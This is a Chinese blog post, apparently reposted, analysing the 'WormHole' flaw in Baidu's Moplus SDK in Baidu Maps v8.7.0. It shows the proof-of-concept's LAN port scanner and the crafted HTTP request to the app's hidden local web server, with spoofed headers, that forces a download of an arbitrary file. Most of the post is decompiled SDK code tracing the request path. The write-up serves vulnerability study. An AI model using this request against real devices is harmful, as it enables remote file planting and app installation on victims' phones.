百度全系APP SDK漏洞–WormHole虫洞漏洞
Posted jltxgcy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了百度全系APP SDK漏洞–WormHole虫洞漏洞相关的知识,希望对你有一定的参考价值。
0x00
我们以百度地图v8.7.0为例来分析百度蠕虫漏洞,apk下载地址为https://github.com/jltxgcy/AppVulnerability/Baidu_Maps_v8.7.0.apk。
使用android Killer来打开这个apk,Android Killer下载地址为http://pan.baidu.com/s/1jGQUzwa。
我们先讲述如何在代码层利用这个漏洞,然后再分析其原理。
百度蠕虫漏洞利用代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/BaiduWormHole。
0x01
1、首先要安装百度地图v8.7.0的apk,并启动apk。因为apk启动后才有这个漏洞,才可以被利用。
2、 然后运行BaiduWormHole这个Android工程,运行后效果如下图:
点击扫描按钮,实际上看局域网内是否有可以被利用的端口40310。代码如下:
private List<String> checkHosts(String subnet) {
List<String> ret = new ArrayList<>();
for (int i = 1; i < 255; i++) {
String host = subnet + "." + i;
if (isReachable(host, 6259)) {
host += ":6259";
ret.add(host);
} else if (isReachable(host, 40310)) {
host += ":40310";
ret.add(host);
}
}
return ret;
}
比如局域网本机IP为10.10.154.12,那么会遍历从10.10.154.0:40310~10.10.154.255:40310是否可连接,可连接说明可以利用这个漏洞。这是为什么呢?我们一会分析。isReadable实现如下:
private boolean isReachable(String host, int port) {
SocketAddress sockaddr = new InetSocketAddress(host, port);
Socket socket = new Socket();
try {
socket.connect(sockaddr, timeout);
} catch (Exception e) {
return false;
} finally {
try {
socket.close();
} catch (IOException ex) {
}
}
return true;
}
我们接着看点击开始,会执行什么代码:
URL url;
try {
url = new URL("http://127.0.0.1:40310/downloadfile?callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl="
+ urlText.getText().toString() + "&savepath=Download1&filesize=10");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("remote-addr", "127.0.0.1");
conn.setRequestProperty("referer", "http://www.baidu.com");
int responseCode = conn.getResponseCode();
if (responseCode == HttpURLConnection.HTTP_OK){
return convertStreamToString(conn.getInputStream());
}
}
catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
刚刚判断了局域网内是否有可以被攻击的对象。我们假设本机的IP地址为10.10.154.12,假设本机和另一个机器10.10.154.18都安装百度地图v8.7.0的apk,并且已经运行过。那么扫描的结果就是这两个ip地址,
10.10.154.12和10.10.154.18。
在我们这个工程中,直接写死了127.0.0.1说明是本机地址也就是10.10.154.12。如果想攻击局域网内其他机器,如10.10.154.18,那么要改为10.10.154.18。便可攻击局域网其他机器。
我们以本机攻击为例,实际上百度蠕虫漏洞的本质是百度应用在本机利用socket开了一个简易的WebServer,参考使用NanoHttpd实现简易WebServer。
以上url请求后,会根据downloadurl的地址下载对应的内容,这个例子是下载微信apk,然后提示用户安装。
0x02
下面分析原理,我们先从后往前推理,参考NanoHttpd实现简易WebServer。百度地图也一定初始化了ServerSocket,我们找到对应的代码位于com.baidu.hello.patch.moplus.nebula.b包下a类中a()方法。如下:
public void a()
{
this.c = new ServerSocket();
ServerSocket localServerSocket = this.c;
if (this.a != null) {}
for (InetSocketAddress localInetSocketAddress = new InetSocketAddress(this.a, this.b);; localInetSocketAddress = new InetSocketAddress(this.b))
{
localServerSocket.bind(localInetSocketAddress);
this.e = new Thread(new v(this));
this.e.setDaemon(true);
this.e.setName("NanoHttpd Main Listener");
this.e.start();
return;
}
}
我们还记得
NanoHttpd实现简易WebServer一文中,这个函数是非常重要的:
public Response serve(String uri, Method method,
Map<String, String> header,
Map<String, String> parameters,
Map<String, String> files)
在百度地图中也有这个方法,它位于com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法。w类继承于
com.baidu.hello.patch.moplus.nebula.b包下a类,和NanoHttpd实现简易WebServer基本一致。
这样我们就知道a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法是NanoHttpd工作的核心。对于本例来说paramString为downloadfile,paramMap1为{(remote-add,127.0.0.1),(referer,http://www.baidu.com)},paramMap2为callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl=" + urlText.getText().toString() + "&savepath=Download1&filesize=10这些参数的键值对。
在继续分析com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)方法前,大家一定很好奇这个方法是经过什么样的流程执行到这里的呢?
假设我们现在想知道w类是在什么时候初始化的,那么我们利用Android Killer搜索Lcom/baidu/hello/patch/moplus/nebula/b/w;-><init>(Ljava/lang/String;ILjava/io/File;Landroid/content/Context;)V,就能找到调用它的位置,我们找到了,如下图:
我们知道在Lcom/baidu/hello/patch/moplus/nebula/b/w;-><init>(Ljava/lang/String;ILjava/io/File;Landroid/content/Context;)V方法执行的流程中最终会调用到Lcom/baidu/hello/patch/moplus/nebula/b/a;->a()V;也就是上面初始化ServerSocket的地方。
顺着这个思路继续向上寻找,就能打通调用流程,请参考启明星辰ADLab:百度WormHole详细分析报告。
我们接着分析com.baidu.hello.patch.moplus.nebula.b包下w类中a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3),上文已经说明了各个参数的含义,我们列出反编译的代码,继续分析:
public b a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)
{
Object localObject3 = null;
Object localObject1;
if (m.f.equals(paramm)) {
try
{
localObject1 = new com/baidu/hello/patch/moplus/nebula/b/b;
((b)localObject1).<init>("");
localException1.printStackTrace();
}
catch (Exception localException1)
{
try
{
((b)localObject1).a("Access-Control-Allow-Origin", "*");
paramString = (String)localObject1;
return paramString;
}
catch (Exception localException2)
{
for (;;)
{
continue;
paramMap2 = (Map)localObject1;
}
}
localException1 = localException1;
localObject1 = localObject3;
}
}
......
Object localObject2 = paramString.substring(1);
label217:
localObject3 = (String)paramMap2.get("mcmdf");//mcmdf要为inapp_baidu_bdgjs
if ((!TextUtils.isEmpty((CharSequence)localObject3)) && (!TextUtils.equals((CharSequence)localObject3, "null")) && (((String)localObject3).startsWith("inapp_")))
{
localObject3 = new e(this.f);
if (TextUtils.equals((CharSequence)paramMap1.get("remote-addr"), "127.0.0.1")) {}//remote-addr要为127.0.0.1
for (paramMap2 = ((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3);; paramMap2 = ((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3))
{
......
}
}
label396:
localObject1 = null;
}
}
这段代码解释了为什么
mcmdf要为inapp_baidu_bdgjs,remote-addr要为127.0.0.1,详见代码中的注释。
然后调用了:
invoke-virtual/range {v0 .. v5}, Lcom/baidu/hello/patch/moplus/nebula/cmd/e;->a(Ljava/lang/String;Lcom/baidu/hello/patch/moplus/nebula/b/m;Ljava/util/Map;Ljava/util/Map;Ljava/util/Map;)Lcom/baidu/hello/patch/moplus/nebula/b/b;
对应反编译的代码为:
((e)localObject3).a((String)localObject2, paramm, paramMap1, paramMap2, paramMap3)
localObject2为downloadfile,paramMap1,paramMap2,paramMap3还是原来的那些参数。
那么我们接着看com.baidu.hello.patch.moplus.nebula.cmd包下e类中a(Ljava/lang/String;Lcom/baidu/hello/patch/moplus/nebula/b/m;Ljava/util/Map;Ljava/util/Map;Ljava/util/Map;)方法,如下:
public class e
{
private static final Map a = new HashMap();
private static final String b = SendIntent.class.getPackage().getName() + ".";
private Context c;
static
{
a.put("geolocation", b + "GetLocLiteString");
a.put("getsearchboxinfo", b + "GetSearchboxInfo");
a.put("getapn", b + "GetApn");
a.put("getserviceinfo", b + "GetServiceInfo");
a.put("getpackageinfo", b + "GetPackageInfo");
a.put("sendintent", b + "SendIntent");
a.put("getcuid", b + "GetCuid");
a.put("getlocstring", b + "GetLocString");
a.put("scandownloadfile", b + "ScanDownloadFile");
a.put("addcontactinfo", b + "AddContactInfo");
a.put("getapplist", b + "GetAppList");
a.put("downloadfile", b + "DownloadFile");
a.put("uploadfile", b + "UploadFile");
}
public e(Context paramContext)
{
this.c = paramContext;
}
public b a(String paramString, m paramm, Map paramMap1, Map paramMap2, Map paramMap3)
{
if (TextUtils.isEmpty(paramString)) {
paramString = null;
}
for (;;)
{
return paramString;
paramString = a(paramString);//根据downloadfile为key,获取类Downloadfile
if (paramString == null) {
paramString = null;
} else {
try
{
paramString = (h)Class.forName(paramString).newInstance();
if (paramString == null) {
paramString = null;
}
}
catch (ClassNotFoundException paramString)
{
for (;;)
{
paramString = null;
}
}
catch (ClassCastException paramString)
{
for (;;)
{
paramString = null;
}
}
catch (IllegalAccessException paramString)
{
for (;;)
{
paramString = null;
}
}
catch (InstantiationException paramString)
{
for (;;)
{
paramString = null;
}
paramString = paramString.execute(paramm, paramMap1, paramMap2, paramMap3);//执行了Downloadfile类的execute方法
}
}
}
}
public String a(String paramString)
{
return (String)a.get(paramString);
}
}
我们接着看Downloadfile类的execute方法:
public com.baidu.hello.patch.moplus.nebula.b.b execute(m paramm, Map paramMap1, Map paramMap2, Map paramMap3)
{
if ((paramMap2 == null) || (paramMap2.size() < 1)) {
paramm = null;
}
for (;;)
{
return paramm;
paramMap3 = (String)paramMap2.get("callback");//需要callback参数
this.mContext = com.baidu.hello.patch.moplus.nebula.c.a.a().b();
if (this.mContext == null)
{
paramm = null;
}
else
{
paramm = (String)paramMap1.get("referer");//需要referer参数
if (!com.baidu.hello.patch.moplus.nebula.c.b.a(this.mContext).a(paramm)) {
this.mErrcode = 4;
}
paramm = (String)paramMap2.get("querydown");//需要querydown参数
String str2 = (String)paramMap2.get("downloadurl");//需要downloadurl参数
String str1 = (String)paramMap2.get("savepath");//需要savepath参数
long l = Long.parseLong((String)paramMap2.get("filesize"));//需要filesize参数
paramMap1 = new com.baidu.hello.patch.moplus.b.a();//把参数保存在了这个类中
paramMap1.b = str2;
paramMap1.c = str1;
paramMap1.d = l;
if (TextUtils.equals(paramm, "download")) {
if (this.mErrcode != 4)
{
this.mErrcode = 1;
paramMap2 = new d(this.mContext, paramMap1);
c.a().a(paramMap2);//最后执行这个函数
this.mErrcode = 0;
}
}
.....
}
}
上面的代码已经解释了为什么需要Url要包含这么多参数。
url = new URL("http://127.0.0.1:40310/downloadfile?callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl="
+ urlText.getText().toString() + "&savepath=Download1&filesize=10");
public final class d
extends b
{
public d(Context paramContext, a parama)
{
super(paramContext, parama);
}
protected void a()
{
if (!TextUtils.isEmpty(this.c)) {
com.baidu.hello.patch.moplus.pkgmanager.a.a(this.a).b(this.c, this.a);
}
}
}
d类继承了b类,b类实现如下:
public class b
implements Runnable
{
protected Context a;
protected a b;//所需要得下载地址,下载保持路径,下载文件大小都保存在这个对象中
protected String c;
private int d = 2;
private int e = 0;
private boolean f = false;
public b(Context paramContext, a parama)
{
this.a = paramContext.getApplicationContext();
this.b = parama;
}
/* Error */
private boolean a(InputStream paramInputStream, long paramLong)
{
// Byte code:
// 0: iconst_0
// 1: istore 6
// 3: invokestatic 47 com/baidu/hello/patch/moplus/systemmonitor/util/b:c ()J
// 6: aload_0
// 7: getfield 38 com/baidu/hello/patch/moplus/b/b:b Lcom/baidu/hello/patch/moplus/b/a;
// 10: getfield 52 com/baidu/hello/patch/moplus/b/a:d J
// 13: ldc2_w 53
// 16: lmul
// 17: ldc2_w 53
// 20: lmul
// 21: lcmp
// 22: ifgt +10 -> 32
// 25: iload 6
// 27: istore 5
// 29: iload 5
// 31: ireturn
// 32: aload_0
// 33: aload_0
// 34: getfield 38 com/baidu/hello/patch/moplus/b/b:b Lcom/baidu/hello/patch/moplus/b/a;
// 37: invokevirtual 57 com/baidu/hello/patch/moplus/b/a:a ()Ljava/lang/String;
// 40: putfield 59 com/baidu/hello/patch/moplus/b/b:c Ljava/lang/String;
// 43: iload 6
// 45: istore 5
// 47: aload_0
// 48: getfield 59 com/baidu/hello/patch/moplus/b/b:c Ljava/lang/String;
// 51: invokestatic 65 android/text/TextUtils:isEmpty (Ljava/lang/CharSequence;)Z
// 54: ifne -25 -> 29
// 57: new 67 java/io/File
// 60: dup
// 61: aload_0
// 62: getfield 59 com/baidu/hello/patch/moplus/b/b:c Ljava/lang/String;
// 65: invokespecial 70 java/io/File:<init> (Ljava/lang/String;)V
// 68: astore 11
// 70: aload 11
// 72: invokevirtual 74 java/io/File:getParentFile ()Ljava/io/File;
// 75: astore 12
// 77: aload 12
// 79: invokevirtual 78 java/io/File:exists ()Z
// 82: ifne +9 -> 91
// 85: aload 12
// 87: invokevirtual 81 java/io/File:mkdirs ()Z
// 90: pop
// 91: lconst_0
// 92: lstore 7
// 94: new 83 java/io/FileOutputStream
// 97: astore 12
// 99: aload 12
// 101: aload 11
// 103: invokespecial 86 java/io/FileOutputStream:<init> (Ljava/io/File;)V
// 106: lload 7
// 108: lstore 9
// 110: sipush 4096
// 113: newarray <illegal type>
// 115: astore 13
// 117: lload 7
// 119: lstore 9
// 121: aload_1
// 122: aload 13
// 124: invokevirtual 92 java/io/InputStream:read ([B)I
// 127: istore 4
// 129: iload 4
// 131: iflt +28 -> 159
// 134: lload 7
// 136: lstore 9
// 138: aload 12
// 140: aload 13
// 142: iconst_0
// 143: iload 4
// 145: invokevirtual 96 java/io/FileOutputStream:write ([BII)V
// 148: lload 7
// 150: iload 4
// 152: i2l
// 153: ladd
// 154: lstore 7
// 156: goto -39 -> 117
// 159: aload 12
// 161: invokevirtual 99 java/io/FileOutputStream:flush ()V
// 164: aload 12
// 166: invokevirtual 103 java/io/FileOutputStream:getFD ()Ljava/io/FileDescriptor;
// 169: invokevirtual 108 java/io/FileDescriptor:sync ()V
// 172: aload 12
// 174: invokevirtual 111 java/io/FileOutputStream:close ()V
// 177: lload 7
// 179: lload_2
// 180: lcmp
// 181: ifeq +65 -> 246
// 184: aload 11
// 186: invokevirtual 114 java/io/File:delete ()Z
// 189: pop
// 190: iload 6
// 192: istore 5
// 194: goto -165 -> 29
// 197: astore_1
// 198: iload 6
// 200: istore 5
// 202: goto -173 -> 29
// 205: astore_1
// 206: aload 12
// 208: invokevirtual 99 java/io/FileOutputStream:flush ()V
// 211: aload 12
// 213: invokevirtual 103 java/io/FileOutputStream:getFD ()Ljava/io/FileDescriptor;
// 216: invokevirtual 108 java/io/FileDescriptor:sync ()V
// 219: aload 12
// 221: invokevirtual 111 java/io/FileOutputStream:close ()V
// 224: lload 9
// 226: lload_2
// 227: lcmp
// 228: ifeq +16 -> 244
// 231: aload 11
// 233: invokevirtual 114 java/io/File:delete ()Z
// 236: pop
// 237: iload 6
// 239: istore 5
// 241: goto -212 -> 29
// 244: aload_1
// 245: athrow
// 246: iconst_1
// 247: istore 5
// 249: goto -220 -> 29
// 252: astore 13
// 254: goto -35 -> 219
// 257: astore_1
// 258: goto -86 -> 172
// Local variable table:
// start length slot name signature
// 0 261 0 this b
// 0 261 1 paramInputStream InputStream
// 0 261 2 paramLong long
// 127 24 4 i int
// 27 221 5 bool1 boolean
// 1 237 6 bool2 boolean
// 92 86 7 l1 long
// 108 117 9 l2 long
// 68 164 11 localFile java.io.File
// 75 145 12 localObject Object
// 115 26 13 arrayOfByte byte[]
// 252 1 13 localIOException IOException
// Exception table:
// from to target type
// 94 106 197 java/io/IOException
// 159 164 197 java/io/IOException
// 172 177 197 java/io/IOException
// 184 190 197 java/io/IOException
// 206 211 197 java/io/IOException
// 219 224 197 java/io/IOException
// 231 237 197 java/io/IOException
// 244 246 197 java/io/IOException
// 110 117 205 finally
// 121 129 205 finally
// 138 148 205 finally
// 211 219 252 java/io/IOException
// 164 172 257 java/io/IOException
}
private void b()
{
if ((this.b == null) || (TextUtils.isEmpty(this.b.b)) || (TextUtils.isEmpty(this.b.c))) {}
for (;;)
{
return;
if (h.a(this.a))
{
boolean bool;
do
{
bool = c();
if (this.f) {
d();
}
} while ((this.d > 0) && (this.f));
if (bool) {
a();
}
}
}
}
private boolean c()
{
boolean bool5 = false;
boolean bool7 = false;
boolean bool6 = false;
boolean bool4 = false;
c localc = new c(this.a);
Object localObject9 = null;
InputStream localInputStream = null;
Object localObject10 = null;
Object localObject5 = null;
boolean bool2 = bool7;
Object localObject7 = localObject9;
boolean bool3 = bool6;
Object localObject8 = localInputStream;
Object localObject1 = localObject10;
for (;;)
{
try
{
localObject11 = new org/apache/http/client/methods/HttpGet;
bool2 = bool7;
localObject7 = localObject9;
bool3 = bool6;
localObject8 = localInputStream;
localObject1 = localObject10;
((HttpGet)localObject11).<init>(this.b.b);
bool2 = bool7;
localObject7 = localObject9;
bool3 = bool6;
localObject8 = localInputStream;
localObject1 = localObject10;
localObject11 = localc.execute((HttpUriRequest)localObject11);
bool1 = bool5;
bool2 = bool7;
localObject7 = localObject9;
bool3 = bool6;
localObject8 = localInputStream;
localObject1 = localObject10;
if (((HttpResponse)localObject11).getStatusLine().getStatusCode() != 200) {
continue;
}
bool2 = bool7;
localObject7 = localObject9;
bool3 = bool6;
localObject8 = localInputStream;
localObject1 = localObject10;
localObject5 = ((HttpResponse)localObject11).getFirstHeader("Content-Length");
if (localObject5 != null) {
continue;
}
}
catch (IOException localIOException)
{
Object localObject11;
Object localObject2;
long l;
Object localObject3 = localObject7;
this.f = true;
localc.a();
try
{
((InputStream)localObject7).close();
bool1 = bool2;
}
catch (Exception localException3)
{
System.out.println(localException3.getMessage());
bool1 = bool2;
}
continue;
}
catch (Exception localException4)
{
boolean bool1;
Object localObject4 = localObject8;
this.f = false;
localc.a();
try
{
((InputStream)localObject8).close();
bool1 = bool3;
}
catch (Exception localException5)
{
System.out.println(localException5.getMessage());
bool1 = bool3;
}
continue;
}
finally
{
localc.a();
}
try
{
throw new NullPointerException();
return bool1;
}
catch (Exception localException1)
{
System.out.println(localException1.getMessage());
bool1 = bool4;
continue;
}
bool2 = bool7;
localObject7 = localObject9;
bool3 = bool6;
localObject8 = localInputStream;
localObject2 = localObject10;
l = Long.valueOf(((Header)localObject5).getValue()).longValue();
bool2 = bool7;
localObject7 = localObject9;
bool3 = bool6;
localObject8 = localInputStream;
localObject2 = localObject10;
localInputStream = ((HttpResponse)localObject11).getEntity().getContent();
bool1 = bool5;
localObject5 = localInputStream;
if (localInputStream != null)
{
bool1 = bool5;
localObject5 = localInputStream;
bool2 = bool7;
localObject7 = localInputStream;
bool3 = bool6;
localObject8 = localInputStream;
localObject2 = localInputStream;
if (a(localInputStream, l))
{
bool1 = true;
localObject5 = localInputStream;
}
}
bool2 = bool1;
localObject7 = localObject5;
bool3 = bool1;
localObject8 = localObject5;
localObject2 = localObject5;
this.e = 0;
bool2 = bool1;
localObject7 = localObject5;
bool3 = bool1;
localObject8 = localObject5;
localObject2 = localObject5;
this.f = false;
localc.a();
try
{
((InputStream)localObject5).close();
}
catch (Exception localException2)
{
System.out.println(localException2.getMessage());
}
}
try
{
localException5.close();
throw ((Throwable)localObject6);
}
catch (Exception localException6)
{
for (;;)
{
System.out.println(localException6.getMessage());
}
}
}
private void d()
{
this.e += 1;
long l;
if (this.e < this.d) {
l = (this.e + 1) * 30;
}
try
{
Thread.sleep(l);
for (;;)
{
return;
this.f = false;
}
}
catch (InterruptedException localInterruptedException)
{
for (;;) {}
}
}
protected void a() {}
public void run()
{
b();
}
}
这个类实现了Runnable对象,一会会执行run方法。该类所需要得下载地址,下载保持路径,下载文件大小都保存在com.baidu.hello.patch.moplus.b.a对象b中(protected a b;)。
返回到Downloadfile类的execute方法,继续执行c.a().a(paramMap2),代码如下:
public final class c
{
private static c b = null;
private ExecutorService a = Executors.newFixedThreadPool(3, new com.baidu.hello.patch.moplus.a.c("MoPlus-DownloadThreadPool"));
public static c a()
{
try
{
if (b == null)
{
localc = new com/baidu/hello/patch/moplus/b/c;
localc.<init>();
b = localc;
}
c localc = b;
return localc;
}
finally {}
}
public void a(b paramb)
{
this.a.submit(paramb);
}
}
不言而喻,此时开始执行public class b implements Runnable的run方法,run方法调用b方法,b方法调用c方法,c方法首先调用a方法,a方法根据下载路径创建了文件夹和文件。接着c方法根据提供的url,从网络不断读取stream写入到savepath指定的文件中,完成下载工作。
以上是关于百度全系APP SDK漏洞–WormHole虫洞漏洞的主要内容,如果未能解决你的问题,请参考以下文章
洛谷 P2850 [USACO06DEC]虫洞Wormholes 判负环
极客日报:百度网盘青春版正式上线,被吐槽是“一次性App”;小米12全系内核源码公开;7-Zip 21.07发布